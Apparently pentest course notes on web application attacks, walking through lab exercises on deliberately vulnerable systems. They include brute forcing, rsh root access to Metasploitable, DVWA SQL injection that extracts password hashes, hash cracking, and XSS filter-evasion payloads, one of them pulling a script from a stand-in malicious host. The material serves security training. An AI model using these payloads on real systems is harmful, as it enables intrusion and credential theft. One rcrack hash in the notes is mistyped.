# Module 6: Exploiting Application-Based Vulnerabilities

## Overview of Web Application-Based Attacks for Security Professionals and the OWASP Top 10

- Download Wireshark
- It is important that you become familiar with HTTP message status codes
    - W3Schools provides a very good explanation at https://www.w3schools.com/tags/ref_httpmessages.asp
    - The HTTP status code messages can be in the following ranges:
        - Messages in the 100 range are informational.
        - Messages in the 200 range are related to successful transactions.
        - Messages in the 300 range are related to HTTP redirections.
        - Messages in the 400 range are related to client errors.
        - Messages in the 500 range are related to server errors
- Open Web Application Security Project (OWASP)
    - https://owasp.org/
    - https://github.com/OWASP/Top10

## Lab - Website Vulnerability Scanning

- Instructions
    - Part 1: Launch Nikto and Perform a Basic Scan
        - Step 1: Launch Nikto on Kali Linux.
            - Nikto is preinstalled on Kali Linux. It is a command line tool that can be launched using the **Application**

→ **Vulnerability Analysis** → **nikto** or directly from the command line

- To view the help file

```
┌──(kali㉿Kali)-[~]
└─$ nikto --help
```

- Step 2: Perform a basic scan on scanme.nmap.org
  - Launch Firefox and navigate to the http://scanme.nmap.org website
  - Use Nikto to perform a basic scan on the scanme.nmap.org website
    - **nikto -h scanme.nmap.org**
    - **Note:** Nikto scans against an internet server can take a few minutes to complete. Wait until the CLI prompt is returned to continue to the next steps. To terminate a running scan, enter **CTRL-C**
  - Explore the link for The **X-Content-Type-Options header is not set.** vulnerability that was found. Open Firefox and navigate to the link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
  - Scroll down to view the **summary**, **impact**, **remediation advice**, and the **associated vulnerability classification links**
  - Nikto scans for port 80 web services. To scan domains with HTTPS enabled, you must specify the **-ssl** flag to scan port 443:
    - **nikto -h https://nmap.org -ssl**

- Part 2: Use Nikto to Scan Multiple Web Servers
  - First, create a text file listing the IP addresses of the web servers to be scanned

            - Use the built-in MousePad application in Kali to create the file
                - Click **Applications → Favorites → Text Editor**. Copy and paste this list of IP addresses into your document
                    - 10.6.6.11
                    - 10.6.6.13
                    - 10.6.6.14
                    - 10.6.6.23
                    - 172.17.0.2
                - Save the document to the home directory as **IP_list.txt**
        - Run the scan
            - **nikto -h IP_list.txt**
    - Part 3: Investigate Web Site Vulnerabilities
        - Nikto provides some information about the vulnerabilities that it uncovers during its scans
        - Some vulnerabilities are associated with an
            - **OSVDB** number (an older Open Source Vulnerability Database)
            - **CWE** (Common Weakness Enumeration https://cwe.mitre.org/about/)
            - **CVE** (Common Vulnerabilities and Exposures https://cve.mitre.org/)
        - OSVDB was discontinued in 2016. You can use the CVE reference tool to translate the OSVDB identifier to a CVE entry so you can research the vulnerability further.
        - Review the information that Nikto reported for the 172.17.0.2 web server
        - The CVEs listed in the output are CVE-1999-0678 and CVE-2003-1418
        - Use the CVE links in the Nikto output to find more information about the vulnerabilities

        - Use the **National Vulnerability Database** ([https://nvd.nist.gov](https://nvd.nist.gov)) to find additional information on the CVEs. In the References to Advisories, Solutions, and Tools section, follow the links to find the remediation measures needed to close each vulnerability
    - Part 4: Export Nikto Results to a File
        - Nikto can output the results of a scan in various formats including CSV, HTML, SQL, txt, and XML
        - In addition, Nikto can be paired with Metasploit to launch exploits against the vulnerabilities that you uncover
        - To export a scan result, use the **-o** flag followed by the file name. Export the results of a scan to an HTML report file named **scan_results.htm**

            - **nikto -h 172.17.0.2 -o scan_results.htm**

        - Locate the file in the **/home/kali** directory and open it in your browser to view the report format
        - To specify a text file output format that is independent of the file extension, use the **-Format** flag
        - Use the **-Format csv** option to save the file in .csv format to import into other analysis applications

            - **nikto -h 172.17.0.2 -o scan_results.txt -Format csv**

        - Use the cat command to view the saved **scan_results.txt** file

## Lab - Using the GVM Vulnerability Scanner

- Instructions
    - Part 1: Scan a Host for Vulnerabilities
        - Step 1: Start GVM services

    - Start the GVM scanner using the sudo gvm-start command
        - **sudo gvm-start**
    - You can also access the gvm-start script using the Applications menu on the Kali desktop
        - **Kali → 02-Vulnerability Analysis → gvm start**
    - **<u>Note:</u>**
        - You may receive the message “GVM services are already running.”
        - If the browser does not automatically open, start your browser manually and navigate to **https://127.0.0.1:9392**
        - The Greenbone Security Assistant login screen will appear in the browser
    - In the Greenbone Security Assistant login box, enter:
        - Username: **admin**
        - Password: **kali**
- Step 2: Scan a host
    - In this step, you will scan the Metasploitable vulnerable host using the GVM scanner
        - This scan may take some time, so be prepared to wait at least 20 or more minutes for it to complete
    - The GVM Scanner application GUI should open in the browser
        - Select **Scans → Tasks** from the menu bar
        - At the upper left of the Tasks window appear three icons
        - Select the **Task Wizard** icon that looks like a magic wand
        - Choose **Advanced Task Wizard** from the dropdown menu

        - In the Advanced Task Wizard window, enter **Metasploitable** as the scan name
            - In the Target Host(s) field, enter the IP address of Metasploitable, **172.17.0.2**
            - Leave the rest of the settings unchanged and click **Create** to create the task and start the scan
        - The Task window indicates the task is running
            - At the bottom of the window, the task Metasploitable is listed, and the status bar shows the percent complete
            - Wait until the status shows Done (100% complete)
            - This could take 30 minutes or more
        - Click the number **1** under the Reports column in the Metasploitable row, next to the status indicator
            - The report list opens with an entry for the current day and time and the task named Metasploitable
        - Open the report by clicking the date and time link under the Date column
            - The report window opens
            - There are eleven tabs that show various results that were found during the scan
            - Click the **Results** tab
            - The vulnerabilities found are listed in order of severity
        - For more information on a vulnerability, click it
            - GVM has explanations for the vulnerabilities it finds
            - Investigate the **TWiki XSS and Command Execution Vulnerabilities**
    - Step 3: Interpret the scan results

    - GVM provides a detailed description of the vulnerabilities including methods to mitigate each vulnerability
    - Click **The rexec service is running** vulnerability listed in the Results tab
        - GVM provides a summary of the finding and additional details
        - The Insight section explains a little about the vulnerability and the Solution section gives mitigation suggestions
    - Click the CVE associated with the rexec vulnerability
        - A brief description of the CVE opens
    - You can obtain additional information about the Network Vulnerability Test (NVT) that discovered this CVE by clicking the NVT at the bottom of the CVE window
        - An NVT is a script that can be executed to check for specific vulnerabilities, including CVEs
    - Click the back arrow in the browser to return to the report screen
        - The rexec services typically run on TCP ports 512, 513, or 514
    - Select the **Ports** tab to view the open ports on the Metasploitable system
    - Explore the other vulnerabilities and focus on how you might use them to exploit the 172.17.0.2 client
- Part 2: Exploit a Vulnerability Found by GVM
    - After a vulnerability is discovered with the GVM scanner, it is possible to formulate an attack strategy to exploit a vulnerability
    - You discovered and investigated a rexec vulnerability

- In this part, you will formulate an attack strategy and perform an exploit against the target
- Step 1: Perform reconnaissance against the target
    - Administrators and other users often reuse passwords, use weak passwords, or fail to change the default credentials for a service
    - From a previous lab, we learned about vulnerabilities in SMB
    - We will use Nmap to see if we can learn anything from SMB about accounts that we might be able to use with rexec
    - There are multiple scripts available to find valid usernames using Nmap
        - One of the most common is the SMB username script
        - It is a common practice to synchronize OS Users with SMB (Samba or Windows) users
        - Use the Nmap script **smb-brute** to find users and to attempt to brute force passwords

            - **sudo nmap -sV -p 445 -script smb-brute 172.17.0.2**

    - Locate the **Host script results** section in the command output
        - Username and password combinations that were uncovered with the Nmap script are listed in this section
- Step 2: Perform the rexec exploit
    - To access the Metasploitable target to exploit the rexec vulnerability, you will need a remote shell client
        - Use apt-get to install a remote shell (RSH) client on the Kali Linux VM

        - **sudo apt-get install rsh-client**

- Attempt to log in to the Metasploitable target with the username **msfadmin** using **RSH**
    - The syntax for the rsh command is rsh -l [username] [target IP or hostname]
        - **rsh -l msfadmin 172.17.0.2**

- The login is successful
    - The prompt changes to the msfadmin user at the remote computer
        - Use the **pwd** command to determine the remote directory

```
msfadmin@metasploitable:~$ pwd
/home/msfadmin
```

- Attempt to gain root access to Metasploitable using the sudo su command
    - When prompted for a password enter the msfadmin password that you uncovered earlier

```
msfadmin@metasploitable:~$ sudo su
[sudo] password for msfadmin: msfadmin
root@metasploitable:/home/msfadmin#
```

- At this point, you have full root access to the target computer and can execute commands, upload or download files, or add users
    - Type **exit** twice to return to the Kali CLI

            - A message should appear that says **rlogin: connection closed**

## How to Build Your Own Web Application Lab

- The following are the three most popular Linux distributions for ethical hacking (penetration testing):
    - **Kali Linux:**
        - This is probably the most popular security penetration testing distribution of the three
        - Kali is a Debian-based distribution primarily supported and maintained by Offensive Security that can be downloaded from https://www.kali.org
        - You can easily install it in bare-metal systems, virtual machines (VMs), and even devices like Raspberry Pi devices and Chromebooks
        - **NOTE**
            - The folks at Offensive Security have created free training and a book that guides you in how to install it in your system
                - see: https://kali.training
    - **Parrot OS:**
        - This is another popular Linux distribution that is used by many pen testers and security researchers
        - You can also install it in bare-metal machines and in VMs
        - You can download Parrot from https://www.parrotsec.org
    - **BlackArch Linux:**
        - This increasingly popular security penetration testing distribution is based on Arch Linux and comes with more than 1900 different tools and packages
        - You can download BlackArch Linux from https://blackarch.org
- You can also run some of the vulnerable applications and virtual machines in Docker containers

- Omar Santos has included in his GitHub repository at [https://h4cker.org/github](https://h4cker.org/github) numerous resources and links to other tools and intentionally vulnerable systems that you can deploy in your lab
- If you are just getting started, the simplest way to practice your skills in a safe environment is to install Kali Linux or Parrot OS in a VM and set up WebSploit Labs (see [websploit.org](websploit.org))

## Understanding Business Logic Flaws

- OWASP offers recommendations on how to test and protect against business logic attacks, check this link
- MITRE has assigned Common Weakness Enumeration (CWE) ID 840 (CWE-840) to business logic errors
  - can obtain detailed information about CWE-840 at [https://cwe.mitre.org/data/definitions/840.html](https://cwe.mitre.org/data/definitions/840.html)
    - It also provides several granular examples of business logic flaws including the following:
      - Unverified ownership
      - Authentication bypass using an alternate path or channel
      - Authorization bypass through user-controlled key
      - Weak password recovery mechanism for forgotten password
      - Incorrect ownership assignment
      - Allocation of resources without limits or throttling
      - Premature release of resource during expected lifetime
      - Improper enforcement of a single, unique action
      - Improper enforcement of a behavioral workflow

## Understanding Injection-Based Vulnerabilities

- The following are examples of injection-based vulnerabilities:

- SQL injection vulnerabilities
  - **SQL injection** (**SQLi**) vulnerabilities can be catastrophic because they can allow an attacker to view, insert, delete, or modify records in a database
  - The following are some of the most common SQL statements (commands):
    - **SELECT**: Used to obtain data from a database
    - **UPDATE**: Used to update data in a database
    - **DELETE**: Used to delete data from a database
    - **INSERT INTO**: Used to insert new data into a database
    - **CREATE DATABASE**: Used to create a new database
    - **ALTER DATABASE**: Used to modify a database
    - **CREATE TABLE**: Used to create a new table
    - **ALTER TABLE**: Used to modify a table
    - **DROP TABLE**: Used to delete a table
    - **CREATE INDEX**: Used to create an index or a search key element
    - **DROP INDEX**: Used to delete an index
  - Typically, SQL statements are divided into the following categories:
    - Data definition language (DDL) statements
    - Data manipulation language (DML) statements
    - Transaction control statements
    - Session control statements
    - System control statements
    - Embedded SQL statements
  - **TIP**
    - The W3Schools website has a tool called the **Try-SQL Editor** that allows you to practice using SQL statements in an “online database”
      - https://www.w3schools.com/sql/trysql.asp?filename=trysql_select_all

        - Another good online resource that explains SQL queries in detail is:
            - https://www.geeksforgeeks.org/sql-ddl-dml-tcl-dcl

- **<u>NOTE</u>**
    - Download **WebGoat** or run **WebSploit Labs** and complete all the exercises related to SQL injection to practice in a safe environment
- SQL injection attacks can be divided into the following categories:
    - **In-band SQL injection**
    - **Out-of-band SQL injection**
    - **Blind (or inferential) SQL injection**
- There are essentially five techniques that can be used to exploit SQL injection vulnerabilities:
    - **Union operator**: This is typically used when an SQL injection vulnerability allows a **SELECT** statement to combine two queries into a single result or a set of results
    - **Boolean**: This is used to verify whether certain conditions are true or false
    - **Error-based technique**: This is used to force the database to generate an error in order to enhance and refine an attack (injection)
    - **Out-of-band technique**: This is typically used to obtain records from the database by using a different channel. For example, it is possible to make an HTTP connection to send the results to a different web server or a local machine running a web service
    - **Time delay**: It is possible to use database commands to delay answers. An attacker may use this technique when he or she doesn't get output or error messages from the application
- **<u>NOTE</u>**

            - It is possible to combine any of the techniques mentioned above to exploit an SQL injection vulnerability. For example, an attacker may use the union operator and out-of-band techniques
            - You can play with the SQL statement values shown here in **Try-SQL Editor**, at:
                - https://www.w3schools.com/sql/trysql.asp?filename=trysql_insert_colname
        - You can use tools such as **SQLmap** to automate an SQL injection attack
            - SQLmap comes installed by default in Kali Linux and Parrot OS
            - In addition, you can download it from https://sqlmap.org and install it on any compatible Linux system
    - HTML injection vulnerabilities
    - Command injection vulnerabilities
    - Lightweight Directory Access Protocol (LDAP) injection vulnerabilities

## Lab - Injection Attacks

- Part 1: Exploit an SQL Injection Vulnerability on DVWA
    - In this part you will exploit a SQL vulnerability on the DVWA
    - Step 1: Prepare DVWA for SQL Injection Exploit
        - Open your browser and navigate to the DVWA at http://10.6.6.13
        - Enter the credentials: **admin** / **password**
        - Set DVWA to Low Security
            - Click **DVWA Security** in the left pane
            - Change the security level to **Low** and click **Submit**
    - Step 2: Check DVWA to see if a SQL Injection Vulnerability is Present

        - Click **SQL Injection** in the left pane
        - In the **User ID:** field type **' OR 1=1 #** and click **Submit**
        - You should receive the output shown below

```
ID: ' or 1=1 #
First name: admin
Surname: admin

ID: ' or 1=1 #
First name: Gordon
Surname: Brown

ID: ' or 1=1 #
First name: Hack
Surname: Me

ID: ' or 1=1 #
First name: Pablo
Surname: Picasso

ID: ' or 1=1 #
First name: Bob
Surname: Smith
```

        - You have entered an "always true" expression that was executed by the database server. The result is that all entries in the ID field of the database were returned
    - Step 3: Check for Number of Fields in the Query
        - In the **User ID:** field type **1' ORDER BY 1 #** and click **Submit**
        - You should receive the following output:

```
ID: 1' ORDER BY 1#
First name: admin
Surname: admin
```

        - In the **User ID:** field type **1' ORDER BY 2 #** and click **Submit**
        - You should receive the following output:

```
ID: 1' ORDER BY 2#
First name: admin
Surname: admin
```

        - In the **User ID:** field type **1' ORDER BY 3 #** and click **Submit**
        - This time you should receive the error **Unknown column '3' in 'order clause'**
        - Because the third string returned an error, this tells us the query involves two fields
        - This is useful information to know as you continue your exploit
    - Step 4: Check for version Database Management System (DBMS)
        - In the **User ID:** field type **1' OR 1=1 UNION SELECT 1, VERSION()#** and click **Submit**
        - At the end of the output, you should see a result similar to the following:

```
<output omitted>
ID: 1' OR 1=1 UNION SELECT 1, VERSION()#
First name: Pablo
Surname: Picasso

ID: 1' OR 1=1 UNION SELECT 1, VERSION()#
First name: Bob
Surname: Smith

ID: 1' OR 1=1 UNION SELECT 1, VERSION()#
First name: 1
```

```
Surname: 5.5.58-0+deb8u1
```

        - The output **5.5.58-0+deb8u1** indicates the DBMS is MySQL version 5.5.58 running on Debian
    - Step 5: Determine the database name
        - So far you have learned that the database is vulnerable
            - the query involves two fields
                - and the DDMS is MySQL 5.5.58
        - Next, you will attempt to obtain more schema information about the database
        - In the **User ID:** field type **1' OR 1=1 UNION SELECT 1, DATABASE()#** and click **Submit**
        - At the end of the output, you should see the following result:

```
ID: 1’ OR 1=1 UNION SELECT 1, DATABASE()#
First name: 1
Surname: dvwa
```

        - This means the name of the database is **dvwa**
    - Step 6: Retrieve table Names from the dvwa database
        - In the **User ID:** field type:

**1' OR 1=1 UNION SELECT 1,table_name FROM information_schema.tables WHERE table_type='base table' AND table_schema='dvwa'#**

        - Click **Submit**
            - The output with **First Name: 1** is the table information
    - Step 7: Retrieve column names from the users table
        - In the **User ID:** field type:

**1' OR 1=1 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='users'#**

        - Click **Submit**
    - Step 8: Retrieve the user credentials
        - In the **User ID:** field type:

**1' OR 1=1 UNION SELECT user, password FROM users #**

        - Click **Submit**
        - After the list of users, you should see several results with usernames and what appears to be password hashes
    - Step 9: Hack the password hashes
        - Open another browser tab and navigate to [https://crackstation.net](https://crackstation.net)
            - CrackStation is a free online password hash cracker
        - Copy and paste the password hash from DVWA into CrackStation and click **Crack Hashes**
- Part 2: Research SQL Injection Mitigation
    - Step 1: Conduct online research on SQL injection mitigation
        - Open a web browser and search SQL injection mitigation and SQL injection prevention
        - Take notes on your mitigation and prevention findings

## Exploiting Authentication-Based Vulnerabilities

- Introduction
    - An attacker can bypass authentication in vulnerable systems by using several methods. The following are the most common ways to take advantage of authentication-based vulnerabilities in an affected system:
        - Credential brute forcing

        - Session hijacking
        - Redirecting
        - Exploiting default credentials
        - Exploiting weak credentials
        - Exploiting Kerberos
    - A good resource that provides a lot of information about application authentication is the OWASP Authentication Cheat Sheet, available at:
        - https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
- Default Credentials
    - Passwords can be found in product documentation and compiled lists available on the Internet
    - An example is: http://www.defaultpassword.com
    - But there are dozens of other sites that contain default passwords and configurations on the Internet
    - It is easy to identify devices that have default passwords and that are exposed to the Internet by using search engines such as **Shodan** (https://www.shodan.io)

## Lab - Using Password Tools

- Part 1: Investigate Password Attacks
    - Step 1: Log into Kali Linux and verify the environment
        - Log into Kali
        - Select **Applications → 05 – Password Attacks**
    - Step 2: Examine the available password attack tools
        - Click each attack subcategory and review the available attack tools
        - Hover the cursor over each tool. Note that some tools have a popup text box containing a brief description of the tool. You can also search for the tools in the Kali Tools page to learn more about them and what they do

- Part 2: Crack Hashes with Hashcat Dictionary Attacks
    - Step 1: Create a file that contains MD5 hashes to be cracked
        - First, some MD5 hashes of passwords are needed
        - In an actual exploit, an attacker will have already compromised a vulnerable system to obtain a password file containing stored password hashes to be cracked offline
        - In this step you simulate this by creating a password file that contains the hashes you will crack in an upcoming step
        - In a terminal window, create five target hashes by entering the following commands at the prompt:
            - **echo -n 'Password' | md5sum | awk '{ print $1 }' > my_pw_hashes.txt**
            - **echo -n 'Password123' | md5sum | awk '{ print $1 }' >> my_pw_hashes.txt**
            - **echo -n 'Letmein!' | md5sum | awk '{ print $1 }' >> my_pw_hashes.txt**
            - **echo -n 'ilovedogs' | md5sum | awk '{ print $1 }' >> my_pw_hashes.txt**
            - **echo -n '1234abcd' | md5sum | awk '{ print $1 }' >> my_pw_hashes.txt**
        - Note that the passwords vary in complexity
        - The hashes generated are written to the my_pw_hashes.txt file
        - Next, check the password hashes that you just created
            - **cat my_pw_hashes.txt**
                - =>
                    - dc647eb65e6711e155375218212b3964
                    - 42f749ade7f9e195bf475f37a44cafcb
                    - e85a3b267e94f3721117fc7ac54fbeba
                    - 33830b8b7fd414b12c208c4de5055464
                    - ef73781effc5774100f87fe2f437a435
    - Step 2: Start Hashcat in Kali

        - Open a new Kali console and enter the command: **man hashcat**
            - This opens the Hashcat manual
        - Review the options available in the first man page
        - Scroll through the man page output to find the values that can be supplied to each of these options
        - You will use these options soon in upcoming steps
    - Step 3: View available wordlists
        - Kali comes with several wordlists built-in
        - Hashcat needs to use a wordlist to crack the hashes
        - To view the built-in wordlists:

            -
              ```
              ┌──(kali㉿Kali)-[~]
              └─$ ls -lh /usr/share/wordlists/
              ```
        - This lists the wordlists that are distributed with Kali
            - We will use the rockyou.txt word list
                - The rockyou.txt wordlist is a password dictionary that contains more than 14 million passwords
        - Change the directory to /usr/share/wordlists:

            -
              ```
              ┌──(kali㉿Kali)-[~]
              └─$ cd /usr/share/wordlists
              ```
        - Extract the rockyou.txt.gz file using the gzip command:

            -
              ```
              ┌──(kali㉿Kali)-[/usr/share/wordlists]
              └─$ sudo gzip -d rockyou.txt.gz
              ```
        - List the contents of the directory
            - Verify that the rockyou.txt file is now unzipped.

                -
                  ```
                  ┌──(kali㉿Kali)-[/usr/share/wordlists]
                  └─$ ls
                  ```
        - Use the more command, followed by the file name, to view the contents of the file to see some of the passwords that hashcat will use to crack your hashes

            -
              ```
              ┌──(kali㉿Kali)-[/usr/share/wordlists]
              └─$ more rockyou.txt
              ```
        - Wordlists for cracking hashes or brute forcing logins are often collected from password dumps that publicly

disclose stolen user account information. Scroll through the output to get a sense of the file contents

        - Press **q** or **Ctrl-z** to exit the file contents
        - Return to the home directory
            - ┌──(kali㉿Kali)-[/usr/share/wordlists]
              └─$ **cd /home/kali**
    - Step 4: Crack hashes with Hashcat
        - To crack the hashes contained in the my_pw_hashes.txt file:
            - ┌──(kali㉿Kali)-[~]
              └─$ **sudo hashcat -m 0 -a 0 -o cracked.txt my_pw_hashes.txt /usr/share/wordlists/rockyou.txt**
                - This command outputs the cracked passwords in the new cracked.txt file
        - To view the contents of the cracked.txt file and the plaintext password:
            - ┌──(kali㉿Kali)-[~]
            - └─$ **sudo cat cracked.txt**
- Part 3: Crack Hashes with John the Ripper Using Dictionary and Brute Force Attacks
    - Step 1: View the John the Ripper help file
        - ┌──(kali㉿Kali)-[~]
          └─$ **john -h**
    - Step 2: Crack hashes with John the Ripper
        - Use the following command to crack the hashes in the my_pw_hashes file. This may take some time
            - ┌──(kali㉿Kali)-[~]
              └─$ **john --format=raw-md5 my_pw_hashes.txt**
        - If you let John continue to run long enough it will eventually crack the remaining passwords
            - Note this may take 10-20 minutes
        - Press **Ctrl-C** or **q** to abort at any time after a few passwords have been cracked if desired

- Step 3: Use larger wordlists
  - The default wordlist for John the Ripper is fairly small
  - John can use other wordlists, such as the rockyou.txt wordlist
  - It is also possible to download additional wordlists from the internet
  - Use the following command to instruct John the Ripper to use the rockyou.txt wordlist

    -
      ```
      ┌──(kali㉿Kali)-[~]
      └─$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 my_pw_hashes.txt
      ```
- Step 4: Use brute force
  - To instruct John the Ripper to use only brute force cracking:

    -
      ```
      ┌──(kali㉿Kali)-[~]
      └─$ john --incremental my_pw_hashes.txt
      ```
  - Note, using brute force can take a very long time to crack password hashes
  - A powerful GPU can take many hours to crack a complex 8-character password
  - MD5 is considered too weak to use. However, notice how long it takes to crack even one MD5 hash using brute force
  - You can abort the process with **Ctrl-C** or **q**
- Step 5: Show your cracked passwords
  - if you interrupted the password cracking process using john and the raw-md5 format, you can still review the cracked passwords using the --show option

    -
      ```
      ┌──(kali㉿Kali)-[~]
      └─$ john --show --format=raw-md5 my_pw_hashes.txt
      ```

- Part 4: Crack Hashes using RainbowCrack and Rainbow Tables
  - Rainbow crack differs from hash cracking utilities that use brute force algorithms in that it uses rainbow tables to crack password hashes
  - Step 1: Install RainbowCrack

    -
      ```
      ┌──(kali㉿Kali)-[~]
      └─$ sudo apt install rainbowcrack
      ```
  - Step 2: Creating rainbow tables with rtgen
    - Rainbow tables are ordinary files and can be created with RainbowCrack, or they can be downloaded from the internet
    - Creating a rainbow table can take a considerable amount of time and storage space as they are very large, ranging in size from 20GB to more than a terabyte
    - Create a small simple rainbow table that will crack MD5 passwords of up to 3 characters with only lowercase letters
      - The rtgen program is used to generate rainbow tables based on user specified parameters.
      - Enter the **rtgen -h** command and review the options
      - Create a rainbow table by entering:

        -
          ```
          ┌──(kali㉿Kali)-[~]
          └─$ sudo rtgen md5 loweralpha 1 3 0 1000 1000 0
          ```
          - This command creates a rainbow table that can crack passwords that are three characters long and only consist of lower-case letters
          - The application created a file with 1000 entries
          - Creating more complex rainbow tables can take significant time and use significant resources

        - Verify the rainbow table is created. Display the contents of the rainbowcrack directory by entering the command:
            - ┌──(kali㉿Kali)-[~]
            - └─$ **cd /usr/share/rainbowcrack**

            - ┌──(kali㉿Kali)-[/usr/share/rainbowcrack]
            - └─$ **ls**
        - The newly created rainbow table should be in the directory as an **.rt** file
    - Step 3: Sort the rainbow table
        - Next, the rainbow table must be sorted . Entering the command: **sudo rtsort .**
            - <u>**Note:**</u> be sure to include the space and the period after rtsort as part of the command
                - ┌──(kali㉿Kali)-[/usr/share/rainbowcrack]
                  └─$ **sudo rtsort .**
        - Generate a hash for a simple 3-character password which can then be cracked
            - ┌──(kali㉿Kali)-[/usr/share/rainbowcrack]
              └─$ **echo -n 'dog' | md5sum | awk '{print $1}'**
                - **=>** 06d80eb0c50b49a509b49f2424e8c805
        - Crack the hash with the rainbow table with RainbowCrack
            - ┌──(kali㉿Kali)-[/usr/share/rainbowcrack]
              └─$ **rcrack . -h 06d80eb0c50b49a509b492424e8c805**
        - Within milliseconds RainbowCrack should crack the hash and reveal the password dog
        - You can also crack hashes contained in a .txt file as was done in Part 1 of the lab
            - To create a .txt file with some hashes:
                - **echo -n 'fox' | md5sum | awk '{print $1}' > ~/my_rainbow_hashes.txt**
                - **echo -n 'boo' | md5sum | awk '{print $1}' >> ~/my_rainbow_hashes.txt**

                        - **echo -n 'pop' | md5sum | awk '{print $1}' >> ~/my_rainbow_hashes.txt**
            - To crack the hashes in the file
                - The -l option tells rcrack to use a hash list file as input
                    - ┌──(kali㉿Kali)-[/usr/share/rainbowcrack]
                      └─$ **rcrack . -l ~/my_rainbow_hashes.txt**
        - Step 4: Explore resources to download rainbow tables
            - In addition to generating Rainbow Tables with the rtgen command, there are many resources on the internet for downloading rainbow tables
            - Open a web browser and search for rainbow table download

## Exploiting Authorization-Based Vulnerabilities

- Parameter Pollution
    - An attacker can find HPP vulnerabilities by finding forms or actions that allow user-supplied input
    - Then the attacker can append the same parameter to the **GET** or **POST** data - but with a different value assigned
    - Consider the following URL:
        - **https://store.h4cker.org/?search=cars**
            - This URL has the query string **search** and the parameter value **cars**
            - The parameter might be hidden among several other parameters
            - An attacker could leave the current parameter in place and append a duplicate, as shown here:
                - **https://store.h4cker.org/?search=cars&results=20**
            - The attacker could then append the same parameter with a different value and submit the new request:

        - **https://store.h4cker.org/?search=cars&results=20&search=bikes**
            - If the web application returns information about bikes instead of cars => the website may be vulnerable to HPP
      - After submitting the request, the attacker could analyze the response page to identify whether any of the values entered were parsed by the application
      - Sometimes it is necessary to send three HTTP requests for each HTTP parameter
      - If the response from the third parameter is different from the first one - and the response from the third parameter is also different from the second one - this may be an indicator of an impedance mismatch that could be abused to trigger HPP vulnerabilities
  - **TIP** The ***OWASP Zed Attack Proxy*** (***ZAP***) tool can be very useful in finding HPP vulnerabilities
    - You can download it from https://github.com/zaproxy/zaproxy
- Insecure Direct Object Reference Vulnerabilities
  - An attacker can take advantage of Insecure Direct Object References vulnerabilities by modifying the value of a parameter used to directly point to an object
  - In order to exploit this type of vulnerability, an attacker needs to map out all locations in the application where user input is used to reference objects directly
  - The following example shows how the value of a parameter can be used directly to retrieve a database record:
    - **https://store.h4cker.org/buy?customerID=1188**
      - In this example, the value of the customerID parameter is used as an index in a table of a database holding customer contacts

            - The application takes the value and queries the database to obtain the specific customer record
            - An attacker may be able to change the value 1188 to another value and retrieve another customer record
    - In the following example, the value of a parameter is used directly to execute an operation in the system:
        - **https://store.h4cker.org/changepassd?user=omar**
            - In this example, the value of the user parameter (omar) is used to have the system change the user's password
            - An attacker can try other usernames and see if it is possible to modify the password of another user

## Understanding Cross-Site Scripting (XSS) Vulnerabilities

- ***Cross-site scripting*** (***XSS***) vulnerabilities are achieved using the following attack types:
    - **Reflected XSS**
    - **Stored (persistent) XSS**
    - **DOM-based XSS**
- You typically find XSS vulnerabilities in the following:
    - Search fields that echo a search string back to the user
    - HTTP headers
    - Input fields that echo user data
    - Error messages that return user-supplied text
    - Hidden fields that may include user input data
    - Applications (or websites) that display user-supplied data
- The following example shows an XSS test that can be performed from a browser's address bar:
    - **javascript:alert("Omar_s_XSS test");**
    - **javascript:alert(document.cookie);**

- The following example shows an XSS test that can be performed in a user input field in a web form:
    - **<script>alert("XSS Test")</script>**
- **NOTE** Attackers can use obfuscation techniques in XSS attacks by encoding tags or malicious portions of the script using Unicode so that the link or HTML content is disguised to the end user browsing the site
- Reflected XSS Attacks
    - You can practice XSS scenarios with WebGoat
        - You can easily test a reflected XSS attack by using the following link:
        - http://localhost:8080/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field1=4128+3214+0002+1999&field2=111
            - Replace localhost with the hostname or IP address of the system running WebGoat
- Stored XSS Attacks
- XSS Evasion Techniques
    - Numerous techniques can be used to evade XSS protections and security products such as web application firewalls (WAFs)
    - First, let's take a look at an XSS JavaScript injection that would be detected by most XSS filters and security solutions:
        - **<SCRIPT SRC=http://malicious.h4cker.org/xss.js></SCRIPT>**
    - The following example shows how the HTML **img** tag can be used in several ways to potentially evade XSS filters:
        - **<img src="javascript:alert('xss');">**
        - **<img src=javascript:alert('xss')>**
        - **<img src=javascript:alert(&quot;XSS&quot;)>**
        - **<img src=javascript:alert('xss')>**
    - It is also possible to use other malicious HTML tags (such as tags), as demonstrated here:
        - **<a onmouseover="alert(document.cookie)">This is a malicious link</a>**

        - **<a onmouseover=alert(document.cookie)>This is a malicious link</a>**
    - An attacker may also use a combination of hexadecimal HTML character references to potentially evade XSS filters, as demonstrated here:
        - **<img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&**
        - **#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>**
    - US ASCII encoding may bypass many content filters and can also be used as an evasion technique, but it works only if the system transmits in US ASCII encoding or if it is manually set
        - This technique is useful against WAFs
        - The following example demonstrates the use of US ASCII encoding to evade WAFs:
            - **¼script¾alert(¢XSS¢)¼/script¾**
    - The following example shows an example of an evasion technique that involves using the HTML **embed** tags to embed a Scalable Vector Graphics (SVG) file:
        - **<EMBED SRC=”data:image/svg+xml;base64,PHN2ZyB4bWxucz pzdmc9Imh0dH**
        - **A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0ia HR0cDovL3d3dy53My5vcm**
        - **cvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8v d3d3LnczLm9yZy8xOTk5L3**
        - **hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZH RoPSIxOTQiIGhlaW**
        - **dodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InR leHQvZWNtYXNjcmlwdC**
        - **I+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml"**
        - **AllowScriptAccess="always"></EMBED>**

- **TIP** The OWASP XSS Filter Evasion Cheat Sheet includes dozens of additional examples of evasion techniques
    - https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
